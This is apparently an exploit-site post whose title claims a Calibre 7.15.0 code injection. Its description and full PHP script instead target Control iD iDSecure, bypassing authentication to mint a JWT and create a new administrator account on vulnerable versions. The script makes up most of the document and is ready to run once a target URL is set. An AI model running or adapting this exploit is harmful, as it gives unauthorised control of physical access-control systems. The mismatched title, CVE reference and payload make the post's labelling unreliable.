Calibre 7.15.0 Code Injection

=============================================================================================================================================
    | # Title     : Calibre 7.15.0 PHP Code Injection Vulnerability                                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://download.calibre-ebook.com/7.15.0/                                                                                  |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: It used to exploit a vulnerability in the Control iD iDSecure access control system that allows unauthenticated remote attackers to access the system administration interface and add a new administrative user.
    
        Main uses of the code: Version check: The code first checks whether the current version of the system is affected by the specified vulnerability (CVE-2023-6329).
    	
    	If the version is affected by the vulnerability (less than or equal to 4.7.43.0), the exploit can be executed.
    	
        Sensitive data extraction:Extracts data such as serial and passwordRandom from the target server using a GET request to a specific API.
    	
        This data is used to generate a custom password (passwordCustom) which is part of the authentication process.
    	
    	( https://packetstorm.news/files/id/180007/ CVE-2024-6782)
    	
    [+] save code as poc.php.
    
    [+] Set Target : line 162
    
    [+] USage : php poc.php 
    
    [+] PayLoad :
    
    
    <?php
    
    class ControlIDiDSecureAuthBypass {
        private $target_uri;
        private $new_user;
        private $new_password;
    
        public function __construct($target_uri, $new_user = null, $new_password = null) {
            $this->target_uri = $target_uri;
            $this->new_user = $new_user ?? bin2hex(random_bytes(4)); // Default to random alphanumeric user
            $this->new_password = $new_password ?? bin2hex(random_bytes(6)); // Default to random alphanumeric password
        }
    
        // Check if vulnerable version is running
        public function check() {
            $url = $this->target_uri . '/api/util/configUI';
            $response = $this->send_request($url, 'GET');
    
            if ($response['code'] != 401) {
                return 'Unknown';
            }
    
            $data = json_decode($response['body'], true);
            $version = $data['Version'] ?? null;
    
            if (is_null($version)) {
                return 'Unknown';
            }
    
            echo "Got version: $version\n";
            if (version_compare($version, '4.7.43.0', '<=')) {
                return 'Appears';
            }
    
            return 'Safe';
        }
    
        // Exploit to add a new user
        public function run() {
            // Step 1: Get serial and passwordRandom
            $url = $this->target_uri . '/api/login/unlockGetData';
            $response = $this->send_request($url, 'GET');
            
            if (!$response) {
                throw new Exception("Failed to receive a reply from the server.");
            }
    
            $json = json_decode($response['body'], true);
            $password_random = $json['passwordRandom'] ?? null;
            $serial = $json['serial'] ?? null;
    
            if (!$password_random || !$serial) {
                throw new Exception('Unable to retrieve passwordRandom and serial');
            }
    
            echo "Retrieved passwordRandom: $password_random\n";
            echo "Retrieved serial: $serial\n";
    
            // Step 2: Create passwordCustom
            $sha1_hash = sha1($serial);
            $combined_string = $sha1_hash . $password_random . 'cid2016';
            $sha256_hash = hash('sha256', $combined_string);
            $short_hash = substr($sha256_hash, 0, 6);
            $password_custom = base_convert($short_hash, 16, 10);
    
            echo "Created passwordCustom: $password_custom\n";
    
            // Step 3: Login with passwordCustom and passwordRandom to get JWT
            $body = json_encode([
                'passwordCustom' => $password_custom,
                'passwordRandom' => $password_random
            ]);
    
            $url = $this->target_uri . '/api/login/';
            $response = $this->send_request($url, 'POST', $body);
    
            if (!$response) {
                throw new Exception("Failed to receive a reply from the server.");
            }
    
            $json = json_decode($response['body'], true);
            $access_token = $json['accessToken'] ?? null;
    
            if (!$access_token) {
                throw new Exception('Did not receive JWT');
            }
    
            echo "Retrieved JWT: $access_token\n";
    
            // Step 4: Add a new administrative user
            $body = json_encode([
                'idType' => '1',
                'name' => $this->new_user,
                'user' => $this->new_user,
                'newPassword' => $this->new_password,
                'password_confirmation' => $this->new_password
            ]);
    
            $url = $this->target_uri . '/api/operator/';
            $response = $this->send_request($url, 'POST', $body, $access_token);
    
            if (!$response) {
                throw new Exception("Failed to receive a reply from the server.");
            }
    
            $json = json_decode($response['body'], true);
            if ($json['code'] !== 200 || $json['error'] !== 'OK') {
                throw new Exception('Unexpected reply from server');
            }
    
            // Step 5: Confirm the new credentials work
            $body = json_encode([
                'username' => $this->new_user,
                'password' => $this->new_password,
                'passwordCustom' => null
            ]);
    
            $url = $this->target_uri . '/api/login/';
            $response = $this->send_request($url, 'POST', $body);
    
            if (!$response) {
                throw new Exception("Failed to receive a reply from the server.");
            }
    
            $json = json_decode($response['body'], true);
            if (!isset($json['accessToken']) || !isset($json['unlock'])) {
                throw new Exception('Received unexpected reply');
            }
    
            echo "New user '{$this->new_user}:{$this->new_password}' was successfully added.\n";
            echo "Login at: " . $this->target_uri . "/#/login\n";
        }
    
        // Helper function to send HTTP requests
        private function send_request($url, $method, $body = null, $token = null) {
            $headers = [
                'Content-Type: application/json'
            ];
    
            if ($token) {
                $headers[] = "Authorization: Bearer $token";
            }
    
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
            if ($body) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
            }
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
            $response_body = curl_exec($ch);
            $response_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
            curl_close($ch);
    
            return ['code' => $response_code, 'body' => $response_body];
        }
    }
    
    // Example usage:
    $target_uri = 'https://example.com';
    $module = new ControlIDiDSecureAuthBypass($target_uri);
    if ($module->check() === 'Appears') {
        $module->run();
    }
    
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================